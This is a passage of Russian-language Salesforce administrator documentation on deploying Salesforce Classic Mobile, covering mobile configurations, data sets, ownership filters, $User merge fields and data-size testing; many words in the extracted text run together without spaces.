• Мобильнаяконфигурацияпозволяетдобавлятьобъектнаразныеуровнииерархиинаборовданных, однакоприложение
Salesforce Classic Mobileнеотображаетповторяющиесявкладки. Например, объекту «Задачи», добавленномунакорневом
уровне, а также в качестве дочернего набора данных для трех других объектов, соответствует только одна вкладка
«Задачи».

Настройка мобильных конфигураций
• Чтобы очистить мобильные макеты страниц, рекомендуем исключить поля из объектов, используемых в мобильной

конфигурации. Данноедействиепозволяет сократитьобъемданных, передаваемыхна устройство, а такжеисключить
необходимость прокручивания ненужных полей.

• Приназначениимобильностивкладке «Панелимониторинга» рекомендуется выбратьлюбыедругиевкладки, которые
должны отображаться в приложении Salesforce Classic Mobile. Настройка вкладок для мобильной конфигурации
инициирует переопределение стандартного набора вкладок, поэтому при назначении мобильности только вкладке
«Панели мониторинга» мобильное устройство будет отображать только данную вкладку.
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• Мобильные устройства оснащаются небольшими экранами, поэтому мобильные представления могут содержать не
болеедвух столбцов. Чтобывыбратьмобильноепредставление, содержащеетристолбцаданных, рекомендуемсоздать
текстовое поле формулы для объекта, объединяющее три поля, а затем добавить данное поле формулы в качестве
критерия мобильного представления.

• Присозданиимобильныхпредставленийфильтрацияможетбытьвыполненапотекущемупользователюпосредством
глобальнойпеременной $User.ID, ноимяпользователянеможетбытьвведеновкачествезначениякритерияфильтрации.
Чтобы создать представление на основе пользователей, рекомендуем сначала создать текстовое поле формулы для
соответствующего объекта, а затем добавить данное поле формулы в качестве критерия мобильного представления.
Например, чтобы создать представление, отображающее возможности, которые принадлежат группе, работающей
с возможностями, рекомендуем создать текстовое поле формулы для объекта «Возможности», содержащее роль или
код пользователя для ответственного за возможность, а затем создать представление, фильтрующее значения по
данному полю.

Тестирование и развертывание мобильного приложения
• Тестирование мобильных конфигураций позволяет убедиться в синхронизации допустимого объема данных.

Рекомендуемтестироватьконфигурациипосредствомактивныхпользователей, ответственныхзаогромноеколичество
записей. Как правило, размер наборов данных составляет от 500 Кб до 4 Мб. Если размер наборов данных превышает
4 Мб, рекомендуем уточнить критерии фильтрации, позволяющие ограничить объем данных, передаваемых на
мобильное устройство.

• Прежде чем развернуть приложение Salesforce Classic Mobile в организации, рекомендуем проверить его работу в
безопасной среде.

• Использование приложения Salesforce Classic Mobile требует наличия плана для передачи данных. Объем данных
беспроводной сети для приложения Salesforce Classic Mobile различается среди клиентов и даже пользователей одной
организации. Ниже перечислены некоторые рекомендации, позволяющие определить примерное использование
данных организации.

– Первоначальная загрузка данных содержит записи, соответствующие критериям мобильной конфигурации
пользователя, и метаданные, необходимые для автономной поддержки данных записей. Как правило, средний
размер данных составляет от 500 Кб до 4 Мб.

– Послепервоначальной загрузки данных клиентскоеприложениеотправляет запросына добавочное обновление
каждые 20 минут. Размер каждого запроса и соответствующего ответа сервера составляет примерно 200 байт.

– Еслизапроснаобновлениеинициирует загрузкуновыхданныхвклиентскоеприложение, тоотправляются только
новые или обновленные значения. Например, приложение Salesforce Classic Mobile может загружать только новые
номера телефонов, а не целые записи контактов. Объем переданных данных различается среди пользователей и
организаций.

Как правило, объем данных, переданных приложением Salesforce Classic Mobile, не превышает средних показателей
использования эл. почты.

• Прежде чем развернуть мобильное приложение для пользователей BlackBerry, рекомендуем оценить инфраструктуру
корпоративной сети.

Рекомендации
• Прежде чем настроить мобильные конфигурации, воспользуйтесь развертыванием без администрирования,

позволяющим проверить работу приложения Salesforce Classic Mobile. Тестирование приложения Salesforce Classic
Mobile позволяет создавать более точные копии мобильных конфигураций.
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• Чтобыопределитькритериифильтрации, которыедолжныиспользоватьсявмобильныхконфигурациях, рекомендуем
опросить пользователей на предмет избранных отчетов, представлений и панелей мониторинга.

• После настройкимобильных конфигураций рекомендуем развернуть приложение Salesforce Classic Mobile только для
выбраннойгруппыпользователей. Преждечемразвернутьмобильноеприложениедлявсехпользователей, просмотрите
отзывы тестовой группы и внесите необходимые изменения.

Настройка приложения Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
Salesforce Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

Чтобы развернуть приложение Salesforce Classic Mobile в организации, выполните
указанные ниже действия.

1. Просмотрите советы и рекомендации по внедрению мобильного приложения.

2. Включите пользователей мобильного приложения.

3. Создайте как минимум одну мобильную конфигурацию.

4. Определите наборы данных для мобильных конфигураций.

5. Протестируйте мобильные конфигурации.

6. Принеобходимостинастройтемобильныемакетыстраницимобильныеполномочия.

7. При необходимости настройте мобильные вкладки.

8. При необходимости создайте настраиваемые мобильные представления.

9. При необходимости настройте панели мониторинга.

10. При необходимости настройте мобильные отчеты.

11. При необходимости настройте Salesforce CRM Content.

12. При необходимости настройте доступ пользователей-партнеров.

13. Принеобходимости создайте ссылкина веб-страницыи страницы Visualforce Mobile.

14. Уведомите пользователей о доступности приложения Salesforce Classic Mobile для
загрузки.

Консоль администрирования Salesforce Classic Mobileпозволяет управлять устройствами
пользователей, загрузившихприложение Salesforce Classic Mobileиактивировавшихсвои
учетные записи.

СМ. ТАКЖЕ:

Управление конфигурациями Salesforce Classic Mobile

Управление устройствами в Salesforce Classic Mobile
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Включение пользователей Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
Salesforce Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

ЧтобыпредоставитьпользователямдоступкполнойверсииприложенияSalesforce Classic
Mobile, выполните указанные ниже действия.

1. Чтобы назначить пользователям мобильные лицензии, установите флажок
«Пользователь Salesforce Classic Mobile» в записи пользователя.

2. Измените каждый настраиваемый профиль, назначенный пользователям Salesforce
Classic Mobile, путемдобавленияполномочия «API включен». Пользователям Salesforce
Classic Mobile для обмена данными между мобильными устройствами и системой
Salesforce требуетсядоступкAPI. Поумолчаниюполномочие «API включен» назначено
стандартным профилям.

Прим.: Приложения для устройств Android, BlackBerry и iPhone доступны на
английском, японском, французском, немецком и испанском языках. Чтобы
включитьприложениеSalesforce Classic Mobileворганизации, обратитесьвкомпанию
Salesforce.

Чтобы запретить активацию полной версии приложения Salesforce Classic Mobile на
мобильных устройствах пользователей до его развертывания, снимите флажок
«Пользователь Salesforce Classic Mobile» для всех пользователей.

Прим.: Если пользователь уже назначен мобильной конфигурации, то снятие
данного флажка инициирует удаление пользователя Salesforce из текущей
мобильной конфигурации и его назначение стандартной мобильной
конфигурации.

Бесплатная версия приложения Salesforce Classic Mobile включена по умолчанию. Чтобы
заблокировать доступ пользователей без лицензии Salesforce Classic Mobile к данным
Salesforce на мобильных устройствах, отключите бесплатную версию приложения
Salesforce Classic Mobile.

1. Введите строку «Настройки Salesforce Classic» в поле «Быстрый поиск»
меню «Настройки», затем выберите пункт «Настройки Salesforce Classic».

2. Нажмите кнопку «Правка».

3. Снимите флажок «Включить Mobile Lite».

Прим.: Если приложение Salesforce Classic Mobile выполняется в момент снятия флажка, то данные Salesforce
удаляются с устройств пользователей при следующей синхронизации с системой Salesforce.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile
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Создание конфигураций Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления конфигураций
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

Мобильные конфигурации — это наборы параметров, которые определяют данные,
передаваемые системой Salesforce на мобильные устройства пользователей, а также
пользователей, которыебудутполучать этиданные. Организациимогут создаватьразные
мобильные конфигурации для удовлетворения потребностей разных типов
пользователей. Например, одна мобильная конфигурация может использоваться для
отправки интересов и возможностей в подразделение продаж, а другая — для отправки
обращений представителям службы поддержки.

Прежде чем создать мобильные конфигурации, выберите профили и пользователей,
которые должны быть назначены каждой конфигурации. Каждая мобильная
конфигурация влияет только на мобильные устройства назначенных пользователей.

Чтобы создать мобильную конфигурацию, выполните указанные ниже действия.

1. Ввод основных сведений

2. Назначение пользователей и профилей

3. Настройка общего ограничения размера данных

4. Завершение настройки мобильной конфигурации

Прим.: Стандартнаямобильная конфигурациядоступнаорганизациям Professional
Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.
Пользователи не могут просматривать или редактировать стандартную
конфигурацию.Любой пользователь Salesforce без мобильной лицензии может
загрузить бесплатную неполную версию приложения Salesforce Classic Mobile.
Данным пользователям назначается стандартная мобильная конфигурация при
активации учетной записи Salesforce на мобильном устройстве.

Ввод основных сведений

1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт «Конфигурация Salesforce Classic» для
получения доступа к странице со списком мобильных конфигураций.

2. Нажмите кнопку «Создать мобильную конфигурацию».

3. Введите имя мобильной конфигурации.

4. Чтобыактивироватьсозданнуюмобильнуюконфигурацию, установитефлажок «Активно». Мобильнаяконфигурация
может использоваться только после установки данного флажка.

При деактивации мобильной конфигурации система Salesforce хранит все запросы от устройств назначенных
пользователей не более одной недели. При повторной активации мобильной конфигурации система Salesforce
выполняет данные запросы в порядке получения.

5. При необходимости введите описание мобильной конфигурации.

6. При необходимости установите флажок «Мобилизовать недавние элементы», чтобы пометить записи Salesforce,
которые недавно использовались для синхронизации с устройством.

Данныйпараметрпозволяет пользователям, назначенныммобильной конфигурации, не выполнять поиск и загрузку
недавно просмотренных элементов Salesforce, даже в том случае, если данные записи не соответствуют критериям
фильтрации конфигурации. Только записи, принадлежащие мобильным объектам, могут быть помечены для
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синхронизации устройства. Например, пользователи, назначенные конфигурации, где объект «Организации» не
является мобильным, не могут автоматически принимать недавние организации на своих устройствах.

7. При наличиифлажка «Мобилизовать недавние элементы» выберите значение в раскрывающемся списке
«Максимальное количество недавних элементов». При минимальном свободном пространстве на мобильных
устройствах пользователей рекомендуем выбрать наименьшее значение.

8. Чтобыавтоматическисинхронизироватьзаписи, отслеживаемыепользователямивChatter, смобильнымиустройствами,
установите флажок «Мобилизовать отслеживаемые записи». Устройство синхронизирует только отслеживаемые
записи для объектов, добавленных в набор данных мобильной конфигурации.

Флажок «Мобилизовать отслеживаемые записи» доступен только в том случае, если в организации включена
поддержка Chatter.

Назначение пользователей и профилей

Каждоймобильнойконфигурациимогутбытьназначеныотдельныепользователиипрофили. Мобильнаяконфигурация,
которой назначается профиль, применяется ко всем пользователям Salesforce Classic Mobile, которым назначен данный
профиль, кроме пользователей, которым назначена другая мобильная конфигурация.

Совет: Рекомендуем назначать мобильные конфигурации профилям; иногда конфигурации могут назначаться
отдельным пользователям.

Чтобы назначить пользователей и профили мобильной конфигурации, выполните указанные ниже действия.

1. Выберите нужный тип участника в раскрывающемся списке «Поиск»: пользователи или профили. Данный
раскрывающийся список доступен только в том случае, если установленфлажок «Пользователь Mobile» в любой
записи пользователя, или доступны пользователи, которые еще не назначены данной мобильной конфигурации. В
противном случае мобильной конфигурации могут быть назначены только профили.

2. Чтобы найти нужного участника, введите ключевые слова в поле поиска и нажмите кнопку «Найти».

3. Чтобы добавить пользователей и профили в мобильную конфигурацию, выберите нужных участников в области
«Доступные участники» и нажмите кнопку «Добавить».

Каждый пользователь и профиль может быть назначен только одной мобильной конфигурации.

Область «Доступные участники» содержитпользователей, длякоторыхустановленфлажок «Пользователь Mobile».

4. Чтобы удалить пользователя или профиль, который не должен быть назначен мобильной конфигурации, выберите
нужного участника в области «Назначенные участники» и нажмите кнопку «Удалить».

Внимание: Удаление пользователя из активной мобильной конфигурации инициирует удаление связанных
данных Salesforce с мобильного устройства пользователя, но не удаление клиентского приложения.

Настройка общего ограничения размера данных

Доступный объем памяти определяется типом мобильного устройства, поэтому использование всей флеш-памяти
некоторых устройств может вызвать серьезные ошибки. Воизбежание перегрузкимобильных устройств, укажите общее
ограничение размера данных для каждой мобильной конфигурации. Общее ограничение размера данных препятствует
отправке слишкомбольшогообъемаданных Salesforceнамобильныеустройствапользователей, назначенныхмобильной
конфигурации.

Чтобы задать общее ограничение размера данных, укажите объем памяти, доступный на мобильных устройствах
назначенных пользователей, посредством раскрывающегося списка «Не синхронизировать, если размер данных
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превышает:». Еслиобщийразмервсехнаборовданныхпревышает заданноеограничение, топользователи, назначенные
данному профилю, получают сообщение об ошибке на свои мобильные устройства, а система Salesforce отменяет
синхронизацию наборов данных, используемых текущей мобильной конфигурацией. Чтобы убедиться, что наборы
данных не превышают общее ограничение размера данных, протестируйте мобильную конфигурацию.

Совет: Чтобы сократить размер данных, выполните указанные ниже действия.

• Удалите набор данных.

• Уточните область действия наборов данных.

• Уточните критерии фильтрации наборов данных.

Завершение настройки мобильной конфигурации

Нажмитекнопку «Сохранить». Обратитевнимание, чтобыактивироватьмобильнуюконфигурацию, установитефлажок
«Активно».

СМ. ТАКЖЕ:

Управление конфигурациями Salesforce Classic Mobile

Определение наборов данных

Настройка приложения Salesforce Classic Mobile
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Определение наборов данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра мобильных
наборов данных:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления мобильных
наборов данных:
• «Управление

мобильными
конфигурациями»

Доступк системе Salesforceпосредствоммобильногоустройства значительноотличается
отдоступапосредствомкомпьютера. Данноеотличиеобуславливаетсяменьшимобъемом
памятииразмером экрана, а такжеотсутствиемпостоянногоподключения к сети. Ввиду
данныхограничений, каждаямобильная конфигурацияпередает тольконаборыданных,
которые содержат записи, доступные пользователям в интерактивном приложении
Salesforce. Мобильные устройства хранят наборы данных во встроенных базах данных,
предоставляя пользователям доступ к основным записям и возможность автономной
работы в случае отсутствия подключения к сети. Система Salesforce автоматически
синхронизирует встроенные базы данных при повторном подключении мобильного
устройства к сети.

Каждый набор данных содержит записи, связанные с отдельным объектом, и
классифицируется по имени соответствующего объекта. Например, набор данных
«Организации» содержит только записи организаций.

Наборы данных могут иметь дочерние наборы данных, которые содержат записи,
связанные с родительским набором данных. Например, если первый уровень иерархии
содержит набор данных «Организации», то пользователь может добавить дочерний
наборданных «Контакты», которыйсодержитвсе записиконтактов, связанныес записями
организаций. Дочерние наборы данных отображаются на мобильных устройствах в
виде связанных списков.

Одна мобильная конфигурация может использовать несколько наборов данных для
одногообъектанаразныхуровнях. Например, объекту «Интересы» можетбытьназначен
родительский и дочерний наборы данных «События».

После создания мобильной конфигурации рекомендуем определить наборы данных.
Чтобы получить доступ к наборам данных мобильной конфигурации, выполните
указанные ниже действия.

1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск»
вменю «Настройка» ивыберитепункт«Конфигурация Salesforce Classic». Щелкните
имя нужной мобильной конфигурации.

2. Нажмите кнопку «Правка» в связанном списке «Наборы данных».

3. Ниже перечислены действия, доступные на странице «Наборы данных».

• Добавьте набор данных.

• Чтобы удалить набор данных, выберите нужный набор данных и нажмите кнопку «Удалить».

• Чтобы изменить набор данных, выберите нужный набор данных в иерархии. Фильтры для набора данных
отображаются на правой панели.

• Протестируйте мобильную конфигурацию.

Изменения, внесенные при определении или редактировании наборов данных, сохраняются системой Salesforce
автоматически.

4. По завершении нажмите кнопку «Готово».

Добавление наборов данных

Чтобы добавить набор данных, выполните указанные ниже действия.
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1. Чтобы создать родительский набор данных, щелкните «Наборы данных» в иерархии. Чтобы создать дочерний
набор данных, выберите текущий набор данных.

2. Нажмите кнопку «Добавить...».

3. Выберитеобъект, записикоторогодолжныбытьдобавленывнаборданных, вовсплывающемокне. СистемаSalesforce
позволяет создавать родительские наборы данных для всех настраиваемых и перечисленных ниже стандартных
объектов.

• Организации

• Активы

• Вложения

• Обращения

• Контакты

• Содержимое

• События

• Интересы

• Примечания

• Возможности

• Прайс-листы

• Продукты

• Решения

• Задачи

• Пользователи

Прим.:

• Вложения доступны в виде набора данных, ноподдерживаются только версиейприложения Salesforce Classic
Mobile для операционнойсистемы Android. Внастоящее время версияприложения Salesforce Classic Mobile для
устройств iPhone и BlackBerry не поддерживает вложения.

• Приложение Salesforce Classic Mobileподдерживает стандартные значенияполей толькодляраскрывающихся
списков и списков со множественным выбором. Стандартные значения других типов полей (например,
кнопки-флажки и числовые поля) не отображаются в приложении Salesforce Classic Mobile.

При добавлении в текущий набор данных всплывающее окно отображает любые объекты, связанные с выбранным
объектом. А именно: дочерние объекты и родительские объекты, связанные с выбранным объектом посредством
взаимосвязи «Основная–подробная» или «Поиск».

Например, пользовательсоздаетполеорганизации «Основнойконтакт», связанноесобъектом «Контакт» посредством
взаимосвязи «Поиск». Если родительский набор данных «Организация» добавляется в мобильную конфигурацию,
то при добавлении объекта «Контакт» под объект «Организация» отображается два набора контактов.

• Контакт: отображение стандартной взаимосвязи между объектами «Организация» и «Контакт».

• Контакт (используетсяорганизацией):отображениелюбогообъекта, являющегосяродительскимвовзаимосвязи
«Основная–подробная» или «Поиск». В данном случае объект «Контакт» используется полем организации
«Основной контакт».

Система Salesforce различает два типа взаимосвязей, поэтому мобильность может быть назначена только контактам,
которые используются настраиваемым полем организации; при этом дочерние записи контактов не передаются на
устройство.
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4. Нажмите кнопку «OK». Созданный набор данных добавляется в иерархию.

5. Чтобы ограничить записи, доступные родительскому или дочернему набору данных, воспользуйтесь фильтрами.

a. Чтобы настроить автоматическую синхронизацию записей Salesforce на основе ответственности за запись,
воспользуйтесьпараметром «Фильтроватьпоответственностиза запись». Нижеперечисленывозможныезначения.

• «Все записи». СистемаSalesforce автоматическисинхронизируетвсе записи, доступныепользователю. Значение
«Все записи» недоступно для задач и событий, являющихся родительскими наборами данных в мобильной
конфигурации. Данныйалгоритмпозволяетпредотвратитьнеудачнуюсинхронизациюданных, являющуюся
результатом длительного выполнения запросов на фильтрацию действий.

• «Записи пользователя». Система Salesforce автоматически синхронизирует все записи, принадлежащие
пользователю.

• «Записи рабочей группы пользователя». Система Salesforce автоматически синхронизирует все записи,
принадлежащие пользователю и его подчиненным в иерархии ролей.

• «Записи групп пользователя, работающих с организациями». Система Salesforce автоматически
синхронизирует организации, принадлежащие рабочей группе пользователя, но не самому пользователю.

• «Записи групп пользователя, работающих с возможностями». Система Salesforce автоматически
синхронизирует возможности, принадлежащие рабочей группе пользователя, но не самому пользователю.

• «Нет (только поиск)». Система Salesforce не выполняет автоматическую синхронизацию записей набора
данных; однако пользователи могут использовать свои мобильные устройства для поиска всех доступных
записей.

Система Salesforce отображает только значения, связанные с выбраннымнабором данных. Например, при выборе
набора данных организации отображается значение «Записи групп пользователя, работающих с
организациями», апривыборенабораданныхвозможностиотображается значение «Записи групп пользователя,
работающих с возможностями».

Если мобильный объект требует комбинацию доступныхфильтров ответственности за запись, то набор данных
одного объекта может быть добавлен на один уровень иерархии не более четырех раз. Например, менеджеру по
продажамтребуетсясинхронизироватьсобственныевозможности, возможностисвоихподчиненныхивозможности
своей рабочей группы. Рекомендуем добавить набор данных возможности и выбрать значение «Записи рабочей
группы пользователя», затем добавить второй набор данных возможности на тот же уровень иерархии и выбрать
значение «Записи групп пользователя, работающих с возможностями». Обратите внимание, что объекты,
использующие только один фильтр ответственности (например, «Комментарий к обращению»), не могут быть
добавлены на один уровень иерархии несколько раз.

b. Чтобы автоматически синхронизировать только записи, соответствующие заданному критерию, настройте
критерий фильтрации дополнительно к выбранному значению параметра «Фильтровать по ответственности за
запись». Например, настройтефильтр, охватывающийтолькозаписивозможностей, стоимостькоторыхпревышает
50 000 рублей, или записи контактов, должности которых задано значение «Покупатель».

c. Чтобы предотвратить использование всей памяти мобильного устройства одним набором данных, установите
второйпереключатель в разделе «Задатьмаксимальноеограничение записи» и введитемаксимальное количество
записей, которое может быть передано данным набором на мобильные устройства. Чтобы выбрать записи,
подлежащие синхронизации при превышении заданного ограничения размера данных, воспользуйтесь
раскрывающимися списками «Порядок сортировки» и «Сортировать».

ПридостижениизаданногоограничениясистемаSalesforceобновляетзаписи, хранящиесянамобильномустройстве,
каждые 20 минут, а заменяет — каждые 24 часа (в соответствии с параметрами «Порядок сортировки» и
«Сортировать»). Например, при выборе параметров «Дата последнего изменения» и «По убыванию» система
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Salesforce передает недавно измененные записи на мобильные устройства и удаляет аналогичное количество
записей, которые давно не изменялись.

Если параметр «Фильтровать по ответственности за запись» содержит значение «Нет (только поиск)», то
заданное ограничение не применяется, так как записи не синхронизируются автоматически.

Совет: Параметр «Задать максимальное ограничение записи» не может использоваться вместо фильтров.
Параметр «Задать максимальное ограничение записи» должен использоваться только как механизм
безопасности, тогда какфильтрыявляютсяосновнымсредствомограниченияколичества записей, доступных
намобильномустройстве. Данныйалгоритмобеспечиваетпередачунамобильныеустройства тольковажных
записей.

Ввидуограниченнойпамятимобильныхустройств, система Salesforceпозволяет возвращатьнеболее 2 500 записей
на один запрос.

6. Чтобыубедиться, чтонаборыданныхнепревышаютобщееограничениеразмераданных, протестируйтемобильную
конфигурацию.

7. Нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Управление конфигурациями Salesforce Classic Mobile

Настройка приложения Salesforce Classic Mobile

Поля слияния для мобильных критериев фильтрации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Некоторые поля слияния $User доступны только при определениифильтров для
мобильных конфигураций и настраиваемых мобильных представлений. Мобильные
конфигурации позволяют использовать данные поля слияния для синхронизации
записейпри условии, чтопользователь связан с записью, ноне является ответственным.
Например, отправьте обращения, созданные текущим пользователем, на мобильное
устройствоилиотправьте записина устройство, где текущийпользователь упоминается
внастраиваемомполе.Мобильныепредставленияпозволяютиспользоватьполяслияния
дляопределенияпредставлениянаосновеответственного за запись (например, создайте
представление, отображающее организации текущего пользователя с рейтингом Hot).

В таблице ниже представлены доступные поля слияния пользователя.

ОписаниеПоле слияния

Данное поле ссылается на код текущего
пользователя. Данноеполе слиянияможет
использоваться полями,
предназначенными для поиска
пользователей. Допустимые операторы:
«равно» и «не равно». При создании

$User.ID

фильтров мобильного представления,
ссылающихся на поле ответственного,
разрешается использовать только поле
слияния $User.ID.
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ОписаниеПоле слияния

Данное поле ссылается на регистрационное имя текущего
пользователя. Данноеполе слиянияможетиспользоваться

$User.Username

любым текстовым полем или полем поиска, кроме
раскрывающихсясписков. Допустимыеоператоры: «равно»,
«не равно», «больше или равно», «меньше или равно»,
«содержит», «не содержит» и «начинается с».

Данное поле ссылается на личное имя текущего
пользователя. Данноеполе слиянияможетиспользоваться

$User.Firstname

любым текстовым полем или полем поиска, кроме
раскрывающихсясписков. Допустимыеоператоры: «равно»,
«не равно», «больше или равно», «меньше или равно»,
«содержит», «не содержит» и «начинается с».

Данноеполессылаетсянафамилиютекущегопользователя.
Данное поле слияния может использоваться любым

$User.Lastname

текстовымполемилиполемпоиска, кромераскрывающихся
списков. Допустимые операторы: «равно», «не равно»,
«больше или равно», «меньше или равно», «содержит», «не
содержит» и «начинается с».

Данное поле ссылается на имя и фамилию текущего
пользователя. Данноеполе слиянияможетиспользоваться

$User.Fullname

любым текстовым полем или полем поиска, кроме
раскрывающихсясписков. Допустимыеоператоры: «равно»,
«не равно», «больше или равно», «меньше или равно»,
«содержит», «не содержит» и «начинается с».

СМ. ТАКЖЕ:

Управление конфигурациями Salesforce Classic Mobile

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Определение наборов данных
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Тестирование конфигураций Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра наборов
данных Salesforce Classic
Mobile:
• «Просмотр настройки и

конфигурации»

Для тестирования
конфигураций Salesforce
Classic Mobile:
• «Управление

мобильными
конфигурациями»

При создании конфигурации Salesforce Classic Mobile рекомендуем задать общее
ограничение размера данных для организации. Общее ограничение размера данных
препятствует отправке слишком большого объема данных Salesforce на мобильные
устройства пользователей, назначенных мобильной конфигурации. Чтобы убедиться,
что наборы данных не превышают общее ограничение размера данных, рекомендуем
протестировать мобильную конфигурацию после определения наборов данных.

Чтобы определить размер набора данных, передаваемых мобильной конфигурацией
на устройство пользователя, выполните указанные ниже действия.

1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск»
вменю «Настройка» ивыберитепункт«Конфигурация Salesforce Classic». Выберите
имя нужной мобильной конфигурации.

2. Нажмите кнопку «Правка» в связанном списке «Наборы данных».

3. Чтобы выбрать нужного пользователя, щелкните значок поиска напротив поля
«Выбрать пользователя» в разделе «Размер тестовых данных». Мобильные
конфигурации могут быть назначены только пользователям мобильных устройств,
но размер данных конфигурации может быть протестирован посредством любой
учетной записи.

Поумолчаниюполе «Выбрать пользователя» содержитимятекущегопользователя.
Рекомендуем протестировать мобильную конфигурацию посредством учетных
записей пользователей, которым она должна быть назначена (особенно
пользователей, обрабатывающих большое количество записей).

4. Чтобы добавить метаданные для оценки, установите флажок «Включить
метаданные». Метаданные содержат макет страницы и сведения о схеме. Размер
метаданных, передаваемых на устройство, определяется размером организации и
сложностью ее настроек.

Внимание: Вычисление размера метаданных и размера данных может занять
некотороевремя. Метаданные, скрытыеврезультатахтестирования, учитываются
общим размером данных при синхронизации мобильного устройства с
системой Salesforce.

5. Нажмите кнопку «Оценить размер данных».

При этом вычисляется размер каждого набора данных. Результаты отображаются в дереве иерархии, то есть на левой
панели области набора данных вверху страницы. Дополнительные результаты отображаются в разделе «Размер
тестовых данных» под иерархией.

• Вдереве иерархииотображаются два значения напротив каждого набора данных. Первое значение соответствует
количеству записей, созданных набором данных, а второе — общему размеру набора данных в байтах или
килобайтах. Данная детализация позволяет определять наборы данных, размер которых может быть сокращен
посредством дополнительных критериев фильтрации.

• Раздел «Размер тестовых данных» позволяет оценить данные, передаваемые текущей мобильной конфигурацией
на устройство выбранного пользователя, включая:

– Размер и количество записей в каждом наборе данных объекта.
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– Общий размер и количество записей, включая записи набора данных и отмеченные записи. Отмеченная
запись — это запись, которая отсутствует в мобильной конфигурации пользователя. Ниже перечислены
способы добавления отмеченных записей в наборы данных.

• Записи, загруженные пользователем на мобильное устройство посредством интерактивного поиска,
помечаютсядляотправкина устройствопользователяприкаждойего синхронизациис системой Salesforce.

• Записивнабореданныхпользователя содержатполяпоиска записей, которыене соответствуюткритериям
фильтрации мобильной конфигурации. Чтобы исключить поврежденные ссылки из мобильного
приложения, система Salesforce синхронизирует записи, используемые полями поиска.

Совет: Преждечемоценитьразмерданныхдля точноговычисленияколичестваотмеченныхзаписей,
рекомендуемсинхронизироватьданныемобильногоприложения. Чтобысинхронизироватьданные,
выполните указанные ниже действия.

– Последовательнокоснитесь «Сведенияоприложении» > «Синхронизировать» > «Обновить
все данные» на устройстве Android.

– Откройте меню и выберите «Сведения о системе», затем повторно откройте меню и выберите
«Обновить все данные» на устройстве BlackBerry.

– Последовательнокоснитесь «Дополнительно»«Сведенияоприложении»на устройстве iPhone.
Затем коснитесь «Синхронизировать»«Обновить все данные».

– Размер метаданных, которые должны быть переданы на устройство пользователя при наличиифлажка
«Включить метаданные».

– Общий мобильный набор данных, объединяющий все записи.

• Оценка размера данных не охватывает отчеты.

6. Сравнитерезультатытестированиясобщимограничениемразмераданных, заданнымдляконфигурации (ограничение
отображается вверху раздела «Размер тестовых данных»). Чтобы изменить ограничение размера на странице
«Редактировать мобильную конфигурацию», щелкните данное значение.

• Еслиобщийразмер данныхнепревышает установленногоограничения, то выбранныйпользовательможет быть
назначенмобильнойконфигурации. Помните, чторезультатытестированияявляютсяпримерными, так какразные
устройства используют разные алгоритмы хранения.

• Еслиобщийразмерданныхпревышает установленноеограничение, рекомендуемсократитьразмерданныхпутем
уменьшения области действия набора данных, уточнения критериев фильтрации, удаления набора данных или
исключения полей из мобильного макета страницы. При необходимости повторите тестирование.

Прим.: Редактированиенаборовданныхнеинициирует автоматическоеобновлениеоценкиразмераданных
вразделе «Размертестовыхданных». Чтобыобновитьрезультатытестирования, щелкните«Обновитьразмер
данных».

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Управление конфигурациями Salesforce Classic Mobile

